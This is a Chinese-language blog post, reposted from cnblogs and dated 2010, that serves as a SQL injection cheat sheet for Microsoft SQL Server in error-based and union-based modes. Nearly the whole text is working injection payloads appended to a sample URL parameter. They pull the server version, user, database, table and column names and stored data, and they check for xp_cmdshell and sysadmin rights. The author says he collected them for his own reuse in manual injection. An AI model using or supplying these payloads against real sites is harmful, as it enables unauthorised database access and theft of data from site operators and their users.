标签:
Title:Mssql显错和不显错模式下的注入 -- 2010-10-27 19:51
近期用手工注入用习惯了,便列出最近用的Mssql语句,以后方便拿来用!
-----------------------------------------------------------------------------------------------------------------------------------
Mssql注释符:
#
--
显错模式的:
判断是否支持多行
;declare @x int--
查看当前数据库版本
URL?id=13 and @@version>0--
查看当前连接数据库用户
URL?id=13 and user>0--
查看当前数据库名
URL?id=13 and db_name()>0--
爆数据库名
URL?id=13 and 1=convert(int,(select name from master.dbo.sysdatabases where dbid=7))--
//dbid<7的为系统库名
爆当前数据库表名
URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype=‘U‘))--
URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype=‘U‘ and name not in (‘表名1‘,‘表名2‘)))--
爆其他数据库表名
URL?id=13 and 1=convert(int,(select top 1 name from [数据库名]..sysobjects where xtype=‘u‘ ))--
URL?id=13 and 1=convert(int,(select top 1 name from [数据库名]..sysobjects where xtype=‘u‘ and name not in (‘表名1‘,‘表名2‘)))--
爆字段名
URL?id=13 having 1=1--
URL?id=13 group by 表名.字段名1,字段名2 having 1=1--
爆其他表的字段名
URL?id=13 select * from 表名 having 1=1--
URL?id=13 select * from 表名 group by 表名.字段名1,字段名2 having 1=1--
扩展一下
URL?id=13 and 1=convert(int,(select * from 表名 having 1=1))-- 字段名
URL?id=13 and 1=convert(int,(select * from 表名 group by 表名.字段名 having 1=1))-- 字段名
爆数据
URL?id=13 and 1=convert(int,(select top 1 字段名 from 表名))--
URL?id=13 and 1=convert(int,(select top 1 字段名 from 表名 where 字段名 not in (‘数据1‘,‘数据2‘))--
URL?id=13 and 1=convert(int,(select top1 字段名 from 表名 where 字段名!=‘数据1‘ and 字段名!=‘数据2‘--
//也可以用where语句
不显错模式
URL?id=13 order by 字段数
URL?id=13 and 1=2 union select ?,?,?,?,?--
查询数据库版本和系统版本
URL?id=13 and 1=2 union select ?,?,?,@@version--
查询数据库用户名
URL?id=13 and 1=2 union select ?,?,?,(select user)--
URL?id=13 and 1=2 union select ?,?,?,(select system_user)--
查询主机名
URL?id=13 and 1=2 union select ?,?,?,(select host_name())--
查询数据库名
URL?id=13 and 1=2 union select ?,?,?,(select db_name())--
判断存储扩展xp_cmdshell
URL?id=13 and 1=2 union select ?,?,?,(select count(*) from master.dbo.sysobjects where xtype=‘X‘ and name=‘xp_cmdshell‘)--
//1为存在,0为不存在
判断当前数据库用户权限
URL?id=13 and 1=2 union select ?,?,?,(select is_srvrolemember(‘sysadmin‘))--
查询数据库名
URL?id=13 and 1=2 union select ?,?,?(select name from master.dbo.sysdatabases where dbid=7)--
//dbid<7的为系统数据库名
查询数据库表名
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype=‘U‘)--
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype=‘U‘ and name not in (‘表名1‘,‘表名2‘))--
查询字段名
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from 数据库名.dbo.syscolumns where id=object_id(‘表名‘)--
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from 数据库名.dbo.syscolumns where id=object_id(‘表名‘) and name not in(‘字段名1‘,‘字段名2‘)--
查询数据
URL?id=13 and 1=2 union select ?,?,?(select top 1 字段名 from 表名)--
URL?id=13 and 1=2 union select ?,?,?(select top 1 字段名 from 表名 where 字段名 not in (‘数据1‘,‘数据2‘)--
其他的语句
爆表名
URL?id=13 URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype=‘u‘ and name not in(select top 0 name from sysobjects where xtype=‘u‘)) from sysobjects--
//接着查询表名(从0开始增加第二个top N的数字就可以遍历当前数据库表名了
爆其他数据库表名
URL?id=13 URL?id=13 and 1=2 union select ?,?,?(select top 1 name from [数据库名]..sysobjects where xtype=‘u‘ and name not in(select top 0 name from [数据库名]..sysobjects where xtype=‘u‘)
爆字段
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from syscolumns where id in (select id from sysobjects where name=‘表名‘) and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name=‘表名‘))) from sysobjects--
//从0开始增加第二个top N的数字就可以遍历admin表的字段名了
查询数据
URL?id=13 URL?id=13 and 1=2 union select top 1 ?,?,字段名 from 表名 where name not in (select top 0 name from 表名)--
标签:
原文地址:http://www.cnblogs.com/TeaIng-Index/p/4320114.html